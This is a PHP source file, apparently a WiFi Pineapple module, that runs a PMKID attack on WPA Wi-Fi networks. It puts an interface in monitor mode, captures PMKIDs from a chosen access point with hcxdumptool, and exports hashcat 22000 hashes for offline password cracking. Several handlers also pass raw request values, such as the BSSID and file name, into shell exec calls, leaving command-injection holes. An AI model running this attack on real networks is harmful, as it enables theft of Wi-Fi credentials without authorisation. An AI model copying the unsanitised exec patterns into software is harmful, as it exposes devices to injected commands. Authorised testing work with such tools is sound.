module.php 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352
  1. <?php
  2. namespace pineapple;
  3. require_once("/pineapple/modules/PineAP/api/PineAPHelper.php");
  4. class PMKIDAttack extends Module
  5. {
  6. const MODULE_PATH = "/pineapple/modules/PMKIDAttack";
  7. const LOG_PATH = "/pineapple/modules/PMKIDAttack/log/module.log";
  8. const CAPTURE_PATH = "/pineapple/modules/PMKIDAttack/pcapng";
  9. const DEPS_FLAG = "/tmp/PMKIDAttack.progress";
  10. const EXPORT_PATH = "/tmp/pmkid-handshake.tmp";
  11. const TOOLS_PATH = "/sbin/";
  12. const TOOLS_SD_PATH = "/sd/sbin/";
  13. public function route()
  14. {
  15. switch ($this->request->action) {
  16. case "clearLog":
  17. $this->clearLog();
  18. break;
  19. case "getLog":
  20. $this->getLog();
  21. break;
  22. case "getDependenciesStatus":
  23. $this->getDependenciesStatus();
  24. break;
  25. case "managerDependencies":
  26. $this->managerDependencies();
  27. break;
  28. case "getDependenciesInstallStatus":
  29. $this->getDependenciesInstallStatus();
  30. break;
  31. case "startAttack":
  32. $this->startAttack();
  33. break;
  34. case "stopAttack":
  35. $this->stopAttack();
  36. break;
  37. case "catchPMKID":
  38. $this->catchPMKID();
  39. break;
  40. case "getPMKIDFiles":
  41. $this->getPMKIDFiles();
  42. break;
  43. case "downloadPMKID":
  44. $this->downloadPMKID();
  45. break;
  46. case "deletePMKID":
  47. $this->deletePMKID();
  48. break;
  49. case "viewAttackLog":
  50. $this->viewAttackLog();
  51. break;
  52. case "getStatusAttack":
  53. $this->getStatusAttack();
  54. break;
  55. }
  56. }
  57. protected function getToolPath($tool)
  58. {
  59. if ($this->isSDAvailable() && file_exists(self::TOOLS_SD_PATH . $tool)) {
  60. return self::TOOLS_SD_PATH . $tool;
  61. }
  62. return self::TOOLS_PATH . $tool;
  63. }
  64. protected function getCapPath()
  65. {
  66. $BSSID = $this->getBSSID(true);
  67. return "/tmp/{$BSSID}.pcapng";
  68. }
  69. protected function clearLog()
  70. {
  71. exec("rm " . self::LOG_PATH);
  72. }
  73. protected function getLog()
  74. {
  75. if (!file_exists(self::LOG_PATH)) {
  76. touch(self::LOG_PATH);
  77. }
  78. $this->response = ["moduleLog" => file_get_contents(self::LOG_PATH)];
  79. }
  80. protected function addLog($massage)
  81. {
  82. $entry = "[" . date("Y-m-d H:i:s") . "] {$massage}\n";
  83. file_put_contents(self::LOG_PATH, $entry, FILE_APPEND);
  84. }
  85. protected function getDependenciesStatus()
  86. {
  87. $response = [
  88. "installed" => false,
  89. "install" => "Install",
  90. "installLabel" => "success",
  91. "processing" => false
  92. ];
  93. if (file_exists(self::DEPS_FLAG)) {
  94. $response["install"] = "Installing...";
  95. $response["installLabel"] = "warning";
  96. $response["processing"] = true;
  97. } else if (!$this->checkPanelVersion()) {
  98. $response["install"] = "Upgrade Pineapple version first!";
  99. $response["installLabel"] = "warning";
  100. } else if ($this->checkDependencyInstalled()) {
  101. $response["install"] = "Remove";
  102. $response["installLabel"] = "danger";
  103. $response["installed"] = true;
  104. }
  105. $this->response = $response;
  106. }
  107. protected function checkPanelVersion()
  108. {
  109. $version = \helper\getFirmwareVersion();
  110. $version = str_replace("+", "", $version);
  111. return version_compare($version, "2.8.0") >= 0;
  112. }
  113. protected function checkDependencyInstalled()
  114. {
  115. if ($this->uciGet("pmkidattack.@config[0].installed")) {
  116. return true;
  117. }
  118. if ($this->checkDependency("hcxdumptool")) {
  119. $this->uciSet("pmkidattack.@config[0].installed", "1");
  120. return true;
  121. }
  122. return false;
  123. }
  124. protected function managerDependencies()
  125. {
  126. $action = $this->checkDependencyInstalled() ? "remove" : "install";
  127. $command = self::MODULE_PATH . "/scripts/dependencies.sh";
  128. $this->stopAttack();
  129. $this->execBackground("{$command} {$action}");
  130. $this->response = ["success" => true];
  131. }
  132. protected function getDependenciesInstallStatus()
  133. {
  134. $this->response = ["success" => !file_exists(self::DEPS_FLAG)];
  135. }
  136. protected function getMonitorInterface()
  137. {
  138. return $this->uciGet("pineap.@config[0].pineap_interface");
  139. }
  140. protected function getBSSID($clean = false)
  141. {
  142. $bssid = $this->uciGet("pmkidattack.@config[0].bssid");
  143. return $clean ? str_replace(":", "", $bssid) : $bssid;
  144. }
  145. protected function getProcessStatus()
  146. {
  147. return \helper\checkRunning($this->getToolPath("hcxdumptool"));
  148. }
  149. protected function startAttack()
  150. {
  151. $ssid = $this->request->ssid;
  152. $bssid = $this->request->bssid;
  153. //$this->execBackground("{$this->moduleFolder}/scripts/PMKIDAttack.sh start " . $this->request->bssid);
  154. $this->uciSet("pmkidattack.@config[0].ssid", $ssid);
  155. $this->uciSet("pmkidattack.@config[0].bssid", $bssid);
  156. $this->uciSet("pmkidattack.@config[0].attack", "1");
  157. $pineAPHelper = new PineAPHelper();
  158. $pineAPHelper->disablePineAP();
  159. $cleanBSSID = $this->getBSSID(true);
  160. $interface = $this->getMonitorInterface();
  161. $capPath = $this->getCapPath();
  162. $hcxdumptoolPath = $this->getToolPath("hcxdumptool");
  163. $filterPath = self::MODULE_PATH . "/scripts/filter.txt";
  164. exec("ifconfig -a | grep {$interface}", $interfaceCheck);
  165. if (empty($interfaceCheck)) {
  166. $originalInterface = str_replace('mon', '', $interface);
  167. exec("airmon-ng start {$originalInterface}");
  168. }
  169. exec("echo {$cleanBSSID} > {$filterPath}");
  170. $command = "{$hcxdumptoolPath} -o {$capPath} -i {$interface} --filterlist_ap={$filterPath} --filtermode=2 --enable_status=1";
  171. $this->execBackground($command);
  172. $this->addLog("Start attack {$bssid}");
  173. //$this->addLog($command);
  174. $this->response = ["success" => true];
  175. }
  176. protected function stopAttack()
  177. {
  178. $BSSIDFormatted = $this->getBSSID();
  179. $capPath = $this->getCapPath();
  180. //$this->execBackground("{$this->moduleFolder}/scripts/PMKIDAttack.sh stop");
  181. exec("/usr/bin/pkill hcxdumptool");
  182. exec("rm {$capPath}");
  183. $this->uciSet("pmkidattack.@config[0].ssid", "");
  184. $this->uciSet("pmkidattack.@config[0].bssid", "");
  185. $this->uciSet("pmkidattack.@config[0].attack", "0");
  186. $this->addLog("Stop attack {$BSSIDFormatted}");
  187. $this->response = ["success" => true];
  188. }
  189. protected function catchPMKID()
  190. {
  191. $check = $this->checkPMKID();
  192. if ($check['status']) {
  193. $BSSID = $this->getBSSID(true);
  194. $BSSIDFormatted = $this->getBSSID();
  195. $capPath = $this->getCapPath();
  196. $captureFolder = self::CAPTURE_PATH;
  197. $this->addLog("PMKID {$BSSIDFormatted} intercepted!");
  198. $metadata = json_encode([
  199. 'ssid' => $this->uciGet("pmkidattack.@config[0].ssid"),
  200. 'bssid' => $BSSIDFormatted
  201. ]);
  202. file_put_contents("{$captureFolder}/{$BSSID}.data", $metadata);
  203. exec("cp {$capPath} {$captureFolder}/");
  204. }
  205. $this->response = [
  206. "pmkidLog" => $check['log'],
  207. "process" => $check['process'],
  208. "success" => $check['status'],
  209. ];
  210. }
  211. protected function checkPMKID()
  212. {
  213. $capPath = $this->getCapPath();
  214. $exportPath = self::EXPORT_PATH;
  215. $hcxpcaptoolPath = $this->getToolPath("hcxpcapngtool"); // old name hcxpcaptool
  216. if (!file_exists($capPath)) {
  217. return false;
  218. }
  219. // hcxpcaptool 6.0 : -z <file> : output PMKID file (hashcat hashmode -m 16800 old format and john)
  220. // hcxpcapngtool 6.1 : -o <file> : output WPA-PBKDF2-PMKID+EAPOL (hashcat -m 22000)hash file
  221. //exec("{$this->moduleFolder}/scripts/PMKIDAttack.sh check-bg " . $this->getBSSID(true));
  222. exec("{$hcxpcaptoolPath} -o {$exportPath} {$capPath}", $result);
  223. $log = implode("\n", $result);
  224. return [
  225. 'log' => $log,
  226. 'process' => $this->getProcessStatus(),
  227. // on hcxpcaptool 6.0
  228. //'status' => strpos($log, " handshake(s) written to") !== false && strpos($log, "0 handshake(s) written to") === false,
  229. // on hcxpcaptool 6.1/6.2
  230. 'status' => strpos($log, "Information: no hashes written to hash files") === false && strpos($log, "This dump file does not contain enough EAPOL") === false,
  231. ];
  232. }
  233. protected function getPMKIDFiles()
  234. {
  235. $captureFolder = self::CAPTURE_PATH;
  236. $pmkids = [];
  237. foreach (glob("{$captureFolder}/*.pcapng") as $capture) {
  238. $file = basename($capture, ".pcapng");
  239. $metadata = file_get_contents("{$captureFolder}/{$file}.data");
  240. if ($metadata) {
  241. $captureMetadata = json_decode($metadata, true);
  242. $name = "{$captureMetadata['ssid']} ({$captureMetadata['bssid']})";
  243. } else {
  244. $name = implode(str_split($file, 2), ":");
  245. }
  246. $pmkids[] = [
  247. "file" => $file,
  248. "name" => $name
  249. ];
  250. }
  251. $this->response = ["pmkids" => $pmkids];
  252. }
  253. protected function downloadPMKID()
  254. {
  255. $file = $this->request->file;
  256. $workingDir = "/tmp/PMKIDAttack";
  257. $captureFolder = self::CAPTURE_PATH;
  258. $hcxpcaptoolPath = $this->getToolPath("hcxpcapngtool");
  259. exec("mkdir {$workingDir}");
  260. exec("cp {$captureFolder}/{$file}.pcapng {$workingDir}/");
  261. exec("{$hcxpcaptoolPath} -o {$workingDir}/pmkid.22000 {$workingDir}/{$file}.pcapng &> {$workingDir}/report.txt");
  262. exec("cd {$workingDir}/ && tar -czf /tmp/{$file}.tar.gz *");
  263. exec("rm -rf {$workingDir}/");
  264. $this->response = ["download" => $this->downloadFile("/tmp/{$file}.tar.gz")];
  265. }
  266. protected function deletePMKID()
  267. {
  268. $file = escapeshellarg($this->request->file);
  269. $captureFolder = self::CAPTURE_PATH;
  270. exec("rm {$captureFolder}/{$file}.pcapng {$captureFolder}/{$file}.data");
  271. $this->response = ["success" => true];
  272. }
  273. protected function viewAttackLog()
  274. {
  275. $file = $this->request->file;
  276. $exportPath = self::EXPORT_PATH;
  277. $captureFolder = self::CAPTURE_PATH;
  278. $hcxpcaptoolPath = $this->getToolPath("hcxpcapngtool");
  279. $capPath = empty($file) ? $this->getCapPath() : escapeshellarg("{$captureFolder}/{$file}.pcapng");
  280. exec("{$hcxpcaptoolPath} -o {$exportPath} {$capPath}", $result);
  281. $this->response = ["pmkidLog" => implode("\n", $result)];
  282. }
  283. protected function getStatusAttack()
  284. {
  285. $this->response = [
  286. "process" => $this->getProcessStatus(),
  287. "ssid" => $this->uciGet("pmkidattack.@config[0].ssid"),
  288. "bssid" => $this->uciGet("pmkidattack.@config[0].bssid"),
  289. "attack" => $this->uciGet("pmkidattack.@config[0].attack") === true,
  290. ];
  291. }
  292. }